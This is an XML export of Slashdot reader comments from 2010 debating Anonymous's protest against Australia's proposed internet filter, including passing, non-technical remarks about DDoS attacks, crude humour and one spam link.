<tokenext>Interesting that most everyone on " western " nations would state that their democracy is a game of " Good Cop vs Bad Cop " Please.. educate us as to why you bother to vote with a ballot rather than a bullet.And no " doing my part " is not a reasonable answer .</tokentext>
<sentencetext>Interesting that most everyone on "western" nations would state that their democracy is a game of "Good Cop vs Bad Cop"Please.. educate us as to why you bother to vote with a ballot rather than a bullet.And no "doing my part" is not a reasonable answer.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144688</id>
	<title>Wait What?</title>
	<author>ae1294</author>
	<datestamp>1266252480000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>So 4CHAN, er I mean anonymous is doing something constructive for a change? Or are they simply trolling Australia for the Lulz? If the government backs down on the filters will they turn around and fight to have them? I'm confused and scared, what about the children? Won't someone think of the Children... I don't want goatsx in the STREETS, around EVERY corner! O god the horror...</p></htmltext>
<tokenext>So 4CHAN , er I mean anonymous is doing something constructive for a change ?
Or are they simply trolling Australia for the Lulz ?
If the government backs down on the filters will they turn around and fight to have them ?
I 'm confused and scared , what about the children ?
Wo n't someone think of the Children... I do n't want goatsx in the STREETS , around EVERY corner !
O god the horror.. .</tokentext>
<sentencetext>So 4CHAN, er I mean anonymous is doing something constructive for a change?
Or are they simply trolling Australia for the Lulz?
If the government backs down on the filters will they turn around and fight to have them?
I'm confused and scared, what about the children?
Won't someone think of the Children... I don't want goatsx in the STREETS, around EVERY corner!
O god the horror...</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145292</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>tehcyder</author>
	<datestamp>1266255300000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>wow, you managed to depict members of an internet-based group as "losers". how incredibly imaginative of you. <strong>now how about you shut the fuck up until you have some real criticism against them?</strong></p></div>
</blockquote><p>
How about:  they're incapable of starting a sentence with a capital letter?  Pretty serious in my opinion.</p></div>
	</htmltext>
<tokenext>wow , you managed to depict members of an internet-based group as " losers " .
how incredibly imaginative of you .
now how about you shut the fuck up until you have some real criticism against them ?
How about : they 're incapable of starting a sentence with a capital letter ?
Pretty serious in my opinion .</tokentext>
<sentencetext>wow, you managed to depict members of an internet-based group as "losers".
how incredibly imaginative of you.
now how about you shut the fuck up until you have some real criticism against them?
How about:  they're incapable of starting a sentence with a capital letter?
Pretty serious in my opinion.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141734</id>
	<title>Re:"tit storm"</title>
	<author>Khyber</author>
	<datestamp>1266267360000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>"Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization."</p><p>Ha! Hahahahahahahahahahah! BWAHAHAHAHAHAHAHAHAHAH!!!!!!!!!!!!!!!</p><p>You must be new to the internet. Here, have a cookie, little girl. I promise it's not a malicious one made to redirect your browser to a drive-by hijack site.</p></htmltext>
<tokenext>" Really guys , naming your protest after female anatomy does nothing to help the cause .
It is immature and reeks of disorganization. " Ha !
Hahahahahahahahahahah ! BWAHAHAHAHAHAHAHAHAHAH ! ! ! ! ! ! ! ! ! ! ! ! ! !
! You must be new to the internet .
Here , have a cookie , little girl .
I promise it 's not a malicious one made to redirect your browser to a drive-by hijack site .</tokentext>
<sentencetext>"Really guys, naming your protest after female anatomy does nothing to help the cause.
It is immature and reeks of disorganization."Ha!
Hahahahahahahahahahah! BWAHAHAHAHAHAHAHAHAHAH!!!!!!!!!!!!!!
!You must be new to the internet.
Here, have a cookie, little girl.
I promise it's not a malicious one made to redirect your browser to a drive-by hijack site.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150092</id>
	<title>Re:"tit storm"</title>
	<author>Lunzo</author>
	<datestamp>1266235680000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>I agree that trying to show politicians "misbehaving" is counter-productive. Kevin Rudd got drunk and went to a strip club not long before he became PM. It hasn't hurt his career and if anything gave him a slight boost in the polls when that revelation came out.</htmltext>
<tokenext>I agree that trying to show politicians " misbehaving " is counter-productive .
Kevin Rudd got drunk and went to a strip club not long before he became PM .
It has n't hurt his career and if anything gave him a slight boost in the polls when that revelation came out .</tokentext>
<sentencetext>I agree that trying to show politicians "misbehaving" is counter-productive.
Kevin Rudd got drunk and went to a strip club not long before he became PM.
It hasn't hurt his career and if anything gave him a slight boost in the polls when that revelation came out.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141800</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141758</id>
	<title>Support</title>
	<author>Anonymous</author>
	<datestamp>1266224520000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>I did what I could to immediately shutdown their even more draconian censorship law before. Wish I was anywhere near an Australian embassy. If anyone knows of a way to help please post it here</p></htmltext>
<tokenext>I did what I could to immediately shutdown their even more draconian censorship law before .
Wish I was anywhere near an Australian embassy .
If anyone knows of a way to help please post it here</tokentext>
<sentencetext>I did what I could to immediately shutdown their even more draconian censorship law before.
Wish I was anywhere near an Australian embassy.
If anyone knows of a way to help please post it here</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146594</id>
	<title>Re:Will be interesting, but...</title>
	<author>Anonymous</author>
	<datestamp>1266261960000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>Tony Abbot (The head of the Liberal party- that's the guys NOT in power, for you Americans)</p></div><p>I like how you had to add the qualifier <i>solely</i> for Americans.  Because obviously, all the <i>Ecuadorians</i> out there both care about and are innately aware of the leaders of all the various Australian political parties, and the lazy stupid fat stupid fat stupid lazy stupid Americans are the only ones on the planet who don't follow Australian politics.</p></div>
	</htmltext>
<tokenext>Tony Abbot ( The head of the Liberal party- that 's the guys NOT in power , for you Americans ) I like how you had to add the qualifier solely for Americans .
Because obviously , all the Ecuadorians out there both care about and are innately aware of the leaders of all the various Australian political parties , and the lazy stupid fat stupid fat stupid lazy stupid Americans are the only ones on the planet who do n't follow Australian politics .</tokentext>
<sentencetext>Tony Abbot (The head of the Liberal party- that's the guys NOT in power, for you Americans)I like how you had to add the qualifier solely for Americans.
Because obviously, all the Ecuadorians out there both care about and are innately aware of the leaders of all the various Australian political parties, and the lazy stupid fat stupid fat stupid lazy stupid Americans are the only ones on the planet who don't follow Australian politics.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266265980000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><p><div class="quote"><p>Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization. There are far better ways to undermine censorship. You have to attack the authority of the censors. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.</p></div><p>You have no idea how politics works. People opposed to the Republican Party in the U.S. have been doing that for 10 years, however that only works if your opponents have shame, which people in politics typically lack.</p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause .
It is immature and reeks of disorganization .
There are far better ways to undermine censorship .
You have to attack the authority of the censors .
Make them appear weak , useless , and strip their credibility .
Expose them at every corner as being partial , biased , and at the same time abjectly failing to do their jobs.You have no idea how politics works .
People opposed to the Republican Party in the U.S. have been doing that for 10 years , however that only works if your opponents have shame , which people in politics typically lack .</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.
It is immature and reeks of disorganization.
There are far better ways to undermine censorship.
You have to attack the authority of the censors.
Make them appear weak, useless, and strip their credibility.
Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.You have no idea how politics works.
People opposed to the Republican Party in the U.S. have been doing that for 10 years, however that only works if your opponents have shame, which people in politics typically lack.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142510</id>
	<title>Re:Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266234840000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>The trouble comes when they try to get out from under your DoS attack. It's relatively easy to stop all traffic requests from one person, and possible to try and profile the sorts of requests you can safely ignore (for example, nobody needs to load your page 100 times a minute). Avoiding such things while also pulling off your DoS does take some skill beyond your idea - though I honestly don't know how much more that is.</p></htmltext>
<tokenext>The trouble comes when they try to get out from under your DoS attack .
It 's relatively easy to stop all traffic requests from one person , and possible to try and profile the sorts of requests you can safely ignore ( for example , nobody needs to load your page 100 times a minute ) .
Avoiding such things while also pulling off your DoS does take some skill beyond your idea - though I honestly do n't know how much more that is .</tokentext>
<sentencetext>The trouble comes when they try to get out from under your DoS attack.
It's relatively easy to stop all traffic requests from one person, and possible to try and profile the sorts of requests you can safely ignore (for example, nobody needs to load your page 100 times a minute).
Avoiding such things while also pulling off your DoS does take some skill beyond your idea - though I honestly don't know how much more that is.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142260</id>
	<title>Re:Question</title>
	<author>MillionthMonkey</author>
	<datestamp>1266231120000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Well, partly, there is mere altruism. We sincerely pity you Australians because your Government is wrapping your entire country inside a parental filter.
<br> <br>
But we're also protesting the general principle of centralized censorship. Not exactly the mere fact that your own country is implementing these things to affect YOU. That won't impact us directly; everybody knows that. But it is still alarming that someone is making these decisions. Your adoption of this official list will lend the entire concept credibility that it wouldn't otherwise have, around the world, including here. And it's going to be difficult to explain to people the subtle problems behind state-maintained lists of censored sites- as any country might implement them.</htmltext>
<tokenext>Well , partly , there is mere altruism .
We sincerely pity you Australians because your Government is wrapping your entire country inside a parental filter .
But we 're also protesting the general principle of centralized censorship .
Not exactly the mere fact that your own country is implementing these things to affect YOU .
That wo n't impact us directly ; everybody knows that .
But it is still alarming that someone is making these decisions .
Your adoption of this official list will lend the entire concept credibility that it would n't otherwise have , around the world , including here .
And it 's going to be difficult to explain to people the subtle problems behind state-maintained lists of censored sites- as any country might implement them .</tokentext>
<sentencetext>Well, partly, there is mere altruism.
We sincerely pity you Australians because your Government is wrapping your entire country inside a parental filter.
But we're also protesting the general principle of centralized censorship.
Not exactly the mere fact that your own country is implementing these things to affect YOU.
That won't impact us directly; everybody knows that.
But it is still alarming that someone is making these decisions.
Your adoption of this official list will lend the entire concept credibility that it wouldn't otherwise have, around the world, including here.
And it's going to be difficult to explain to people the subtle problems behind state-maintained lists of censored sites- as any country might implement them.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143262</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266244440000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>There are Australian embassies in the USA.  These are considered Australian soil.  Americans may go to them and protest in front of them in order to garner media attention and support the cause.  You don't need to be in AU to help.</p></htmltext>
<tokenext>There are Australian embassies in the USA .
These are considered Australian soil .
Americans may go to them and protest in front of them in order to garner media attention and support the cause .
You do n't need to be in AU to help .</tokentext>
<sentencetext>There are Australian embassies in the USA.
These are considered Australian soil.
Americans may go to them and protest in front of them in order to garner media attention and support the cause.
You don't need to be in AU to help.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142822</id>
	<title>And a question for you</title>
	<author>Anonymous</author>
	<datestamp>1266238680000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>1</modscore>
	<htmltext><p>As an Australian AC too lazy to register, perhaps I can ask you why you support this filter?  I know I don't "like and expect some censorship".  Personally, I like the movie rating system (for example) but don't think anything at all should be banned.  Just rated.</p><p>Why do you think Conroy's censorship proposal will a) do anything useful, b) be cost effective, and c) not be abused?  I reckon it is pretty obvious it won't stop anything nasty, will cost a lot, and will be abused to censor political discussion (especially since euthanasia and abortion sites are already on ACMA's block list).</p><p>What is there to like about this proposal?  I'm keen to know since as far as I can see it's pure shit and stinks to heaven.</p></htmltext>
<tokenext>As an Australian AC too lazy to register , perhaps I can ask you why you support this filter ?
I know I do n't " like and expect some censorship " .
Personally , I like the movie rating system ( for example ) but do n't think anything at all should be banned .
Just rated.Why do you think Conroy 's censorship proposal will a ) do anything useful , b ) be cost effective , and c ) not be abused ?
I reckon it is pretty obvious it wo n't stop anything nasty , will cost a lot , and will be abused to censor political discussion ( especially since euthanasia and abortion sites are already on ACMA 's block list ) .What is there to like about this proposal ?
I 'm keen to know since as far as I can see it 's pure shit and stinks to heaven .</tokentext>
<sentencetext>As an Australian AC too lazy to register, perhaps I can ask you why you support this filter?
I know I don't "like and expect some censorship".
Personally, I like the movie rating system (for example) but don't think anything at all should be banned.
Just rated.Why do you think Conroy's censorship proposal will a) do anything useful, b) be cost effective, and c) not be abused?
I reckon it is pretty obvious it won't stop anything nasty, will cost a lot, and will be abused to censor political discussion (especially since euthanasia and abortion sites are already on ACMA's block list).What is there to like about this proposal?
I'm keen to know since as far as I can see it's pure shit and stinks to heaven.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141628</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266266160000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext><p>I am convinced that humor is a powerful weapon.  Exposing the MPs as objects of humor sound fine to me, and probably to you.  By one comment, the title is already in that vein.  the shitstorm comment</p><p>Also, you have to be a little careful about cultural assumptions.  If you are USA, you might have second thoughts about the title.  In australia, maybe not.  I have the vague idea they are a little looser then the USA about sex.  Most everyone is.  but this is slashdot, so who would know anything about the subject.</p></htmltext>
<tokenext>I am convinced that humor is a powerful weapon .
Exposing the MPs as objects of humor sound fine to me , and probably to you .
By one comment , the title is already in that vein .
the shitstorm commentAlso , you have to be a little careful about cultural assumptions .
If you are USA , you might have second thoughts about the title .
In australia , maybe not .
I have the vague idea they are a little looser then the USA about sex .
Most everyone is .
but this is slashdot , so who would know anything about the subject .</tokentext>
<sentencetext>I am convinced that humor is a powerful weapon.
Exposing the MPs as objects of humor sound fine to me, and probably to you.
By one comment, the title is already in that vein.
the shitstorm commentAlso, you have to be a little careful about cultural assumptions.
If you are USA, you might have second thoughts about the title.
In australia, maybe not.
I have the vague idea they are a little looser then the USA about sex.
Most everyone is.
but this is slashdot, so who would know anything about the subject.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142146</id>
	<title>Re:"tit storm"</title>
	<author>martas</author>
	<datestamp>1266229800000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>this is a really good idea, especially because of how simple and potentially viral it is. technically you don't even have to limit it to porn - when a government tries to legislate morality verbatim, they will always miss some things, which can be used to further ridicule that approach.</htmltext>
<tokenext>this is a really good idea , especially because of how simple and potentially viral it is .
technically you do n't even have to limit it to porn - when a government tries to legislate morality verbatim , they will always miss some things , which can be used to further ridicule that approach .</tokentext>
<sentencetext>this is a really good idea, especially because of how simple and potentially viral it is.
technically you don't even have to limit it to porn - when a government tries to legislate morality verbatim, they will always miss some things, which can be used to further ridicule that approach.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142362</id>
	<title>Re:Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266232680000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>How could it get any simpler?</p></div><p>1) Design simple DDoS HTML page<br>2) ???<br>3) Successful DDoS</p><p>You need to work out how to get the masses to run your HTML file.</p></div>
	</htmltext>
<tokenext>How could it get any simpler ? 1 ) Design simple DDoS HTML page2 ) ? ?
? 3 ) Successful DDoSYou need to work out how to get the masses to run your HTML file .</tokentext>
<sentencetext>How could it get any simpler?1) Design simple DDoS HTML page2) ??
?3) Successful DDoSYou need to work out how to get the masses to run your HTML file.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524</id>
	<title>Re:"tit storm"</title>
	<author>linhares</author>
	<datestamp>1266264840000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext>One particular wording that I'd love to see is something that inverts the framing from morality to porn approval, something along the lines:  <p>"This hardcore porn has the seal of approval of the Australian Government."</p><p> "The Australian Government: demanding MORE for your porn needs."</p><p> "How can you trust Hardcore Porn that's not approved by the Australian Government?" </p><p>"Don't worry:  This movie with the horse sucking this girl's giant tits has the oficial seal of approval by the Australian Government."</p></htmltext>
<tokenext>One particular wording that I 'd love to see is something that inverts the framing from morality to porn approval , something along the lines : " This hardcore porn has the seal of approval of the Australian Government .
" " The Australian Government : demanding MORE for your porn needs .
" " How can you trust Hardcore Porn that 's not approved by the Australian Government ?
" " Do n't worry : This movie with the horse sucking this girl 's giant tits has the oficial seal of approval by the Australian Government .
"</tokentext>
<sentencetext>One particular wording that I'd love to see is something that inverts the framing from morality to porn approval, something along the lines:  "This hardcore porn has the seal of approval of the Australian Government.
" "The Australian Government: demanding MORE for your porn needs.
" "How can you trust Hardcore Porn that's not approved by the Australian Government?
" "Don't worry:  This movie with the horse sucking this girl's giant tits has the oficial seal of approval by the Australian Government.
"</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145358</id>
	<title>Re:Question</title>
	<author>kent\_eh</author>
	<datestamp>1266255540000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>2</modscore>
	<htmltext><p><div class="quote"><p>Today, most people in China and Russia support their regimes, including oppression of dissenters. Iranian death penalty for homosexuals law has widespread popular support. </p></div><p>Or so we are told by their state media...</p></div>
	</htmltext>
<tokenext>Today , most people in China and Russia support their regimes , including oppression of dissenters .
Iranian death penalty for homosexuals law has widespread popular support .
Or so we are told by their state media.. .</tokentext>
<sentencetext>Today, most people in China and Russia support their regimes, including oppression of dissenters.
Iranian death penalty for homosexuals law has widespread popular support.
Or so we are told by their state media...
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142234</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145598</id>
	<title>Re:WRONG!</title>
	<author>plague3106</author>
	<datestamp>1266256680000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Knowning someone abused by their parents, movies would be the least of that child's problems.  Quit being an idiot.</p></htmltext>
<tokenext>Knowning someone abused by their parents , movies would be the least of that child 's problems .
Quit being an idiot .</tokentext>
<sentencetext>Knowning someone abused by their parents, movies would be the least of that child's problems.
Quit being an idiot.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144748</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141558</id>
	<title>Celebrity White Teeth</title>
	<author>Anonymous</author>
	<datestamp>1266265380000</datestamp>
	<modclass>Offtopic</modclass>
	<modscore>-1</modscore>
	<htmltext>I read your story, and that is to good. thanks for shearing a nice info..
<a href="http://www.articlesbase.com/dental-care-articles/celebrity-white-teeth-review-get-free-trial-now-1851148.html" title="articlesbase.com" rel="nofollow">Celebrity White Teeth</a> [articlesbase.com]</htmltext>
<tokenext>I read your story , and that is to good .
thanks for shearing a nice info. . Celebrity White Teeth [ articlesbase.com ]</tokentext>
<sentencetext>I read your story, and that is to good.
thanks for shearing a nice info..
Celebrity White Teeth [articlesbase.com]</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145128</id>
	<title>no, you're wrong because that's impractical</title>
	<author>circletimessquare</author>
	<datestamp>1266254580000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>say: the billboards in times square</p><p>you could choose not to go to times square, but assuming you are like every other tourist, that is, you don't plan your media exposure, you just walk into times square and look up at the billboards: those billboards, in an attempt to catch eyes, try to be risque, they constantly push the envelope. what is too risque? PUBLIC policy determines that, and you and your family are exposed to exactly what PUBLIC policy has determined, not wehat you determine</p><p>for better or for worse, the de facto truth, even if you are shut in (television), is that public policy determines what you are exposed too. europe for example, has no problem showing female breasts on tv. americans however FEAR TEH BOOBIE, and will only show wholesome corpses and acts violent murder on television (smirk)</p></htmltext>
<tokenext>say : the billboards in times squareyou could choose not to go to times square , but assuming you are like every other tourist , that is , you do n't plan your media exposure , you just walk into times square and look up at the billboards : those billboards , in an attempt to catch eyes , try to be risque , they constantly push the envelope .
what is too risque ?
PUBLIC policy determines that , and you and your family are exposed to exactly what PUBLIC policy has determined , not wehat you determinefor better or for worse , the de facto truth , even if you are shut in ( television ) , is that public policy determines what you are exposed too .
europe for example , has no problem showing female breasts on tv .
americans however FEAR TEH BOOBIE , and will only show wholesome corpses and acts violent murder on television ( smirk )</tokentext>
<sentencetext>say: the billboards in times squareyou could choose not to go to times square, but assuming you are like every other tourist, that is, you don't plan your media exposure, you just walk into times square and look up at the billboards: those billboards, in an attempt to catch eyes, try to be risque, they constantly push the envelope.
what is too risque?
PUBLIC policy determines that, and you and your family are exposed to exactly what PUBLIC policy has determined, not wehat you determinefor better or for worse, the de facto truth, even if you are shut in (television), is that public policy determines what you are exposed too.
europe for example, has no problem showing female breasts on tv.
americans however FEAR TEH BOOBIE, and will only show wholesome corpses and acts violent murder on television (smirk)</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142108</id>
	<title>Re:"tit storm"</title>
	<author>Dan541</author>
	<datestamp>1266229140000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization. There are far better ways to undermine censorship. You have to attack the authority of the censors. Make them appear weak,</p></div><p>Done!</p><p><div class="quote"><p> useless,</p></div><p>Done!</p><p><div class="quote"><p> and strip their credibility.</p></div><p>Done!<br>
&nbsp; </p><p><div class="quote"><p>Expose them at every corner as being partial,</p></div><p>Done!<br>
&nbsp; </p><p><div class="quote"><p>biased, and at the same time abjectly failing to do their jobs.</p></div><p>Done!</p><p><div class="quote"><p> They are government so this shouldn't be any real kind of challenge now should it?</p><p>I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior. Because if there's one thing the public can't stand for, it's being prohibited from doing the very things these authority types reserve for themselves. They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here?</p></div></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause .
It is immature and reeks of disorganization .
There are far better ways to undermine censorship .
You have to attack the authority of the censors .
Make them appear weak,Done !
useless,Done ! and strip their credibility.Done !
  Expose them at every corner as being partial,Done !
  biased , and at the same time abjectly failing to do their jobs.Done !
They are government so this should n't be any real kind of challenge now should it ? I look forward to seeing pictures of these censorship advocates having sex with their mistresses , getting wasted in public , allegations of bribery , and all other unseemly manner of behavior .
Because if there 's one thing the public ca n't stand for , it 's being prohibited from doing the very things these authority types reserve for themselves .
They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here ?</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.
It is immature and reeks of disorganization.
There are far better ways to undermine censorship.
You have to attack the authority of the censors.
Make them appear weak,Done!
useless,Done! and strip their credibility.Done!
  Expose them at every corner as being partial,Done!
  biased, and at the same time abjectly failing to do their jobs.Done!
They are government so this shouldn't be any real kind of challenge now should it?I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior.
Because if there's one thing the public can't stand for, it's being prohibited from doing the very things these authority types reserve for themselves.
They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141872</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266226020000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext>You keep cheetos in your minifridge? What, do they go bad? I always assumed they would outlast the Apocalypse. <br> <br>Posting Annon for obvious reasons.</htmltext>
<tokenext>You keep cheetos in your minifridge ?
What , do they go bad ?
I always assumed they would outlast the Apocalypse .
Posting Annon for obvious reasons .</tokentext>
<sentencetext>You keep cheetos in your minifridge?
What, do they go bad?
I always assumed they would outlast the Apocalypse.
Posting Annon for obvious reasons.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144076</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266249780000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>...what? The USA has some of the lightest censorship laws of any "western" nation in the world. Most countries don't have as vague and ambiguous laws like USA's First Amendment: "Congress shall make no law... abridging the freedom of speech, or of the press;"</p><p>I'm pretty sure people can call a movement "suck-fucking-dicks" as long as their standing on public ground.</p><p>The problem is, many protesters in America "accidentally" or otherwise cross over private land while protesting.</p></htmltext>
<tokenext>...what ?
The USA has some of the lightest censorship laws of any " western " nation in the world .
Most countries do n't have as vague and ambiguous laws like USA 's First Amendment : " Congress shall make no law... abridging the freedom of speech , or of the press ; " I 'm pretty sure people can call a movement " suck-fucking-dicks " as long as their standing on public ground.The problem is , many protesters in America " accidentally " or otherwise cross over private land while protesting .</tokentext>
<sentencetext>...what?
The USA has some of the lightest censorship laws of any "western" nation in the world.
Most countries don't have as vague and ambiguous laws like USA's First Amendment: "Congress shall make no law... abridging the freedom of speech, or of the press;"I'm pretty sure people can call a movement "suck-fucking-dicks" as long as their standing on public ground.The problem is, many protesters in America "accidentally" or otherwise cross over private land while protesting.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141628</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143258</id>
	<title>Re:Question</title>
	<author>i\_ate\_god</author>
	<datestamp>1266244380000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia. As a nation we generally like and expect some censorship. What is that to you? What is it to Anonymous? It's our nation and we can do as we like with it.</p><p>We elected this government and the previous one which planned the censorship originally. Unlike the USA we actually do have a pretty democratic system here. Let us run our country as we like!</p></div><p>Because when a "respected" nation does something that a "non respected" nation does, then it becomes "respectable". China has draconian monitoring systems to watch its citizens, it's distasteful. The UK has draconian monitoring systems, it's a template for the US. This is why we should be concerned about Australia, because Australia can be used in the "if they can do it so can we" excuse, while China can't.</p></div>
	</htmltext>
<tokenext>The question that I want to ask , is why so many Americans etc want to get involved in what is our own choice here in Australia .
As a nation we generally like and expect some censorship .
What is that to you ?
What is it to Anonymous ?
It 's our nation and we can do as we like with it.We elected this government and the previous one which planned the censorship originally .
Unlike the USA we actually do have a pretty democratic system here .
Let us run our country as we like ! Because when a " respected " nation does something that a " non respected " nation does , then it becomes " respectable " .
China has draconian monitoring systems to watch its citizens , it 's distasteful .
The UK has draconian monitoring systems , it 's a template for the US .
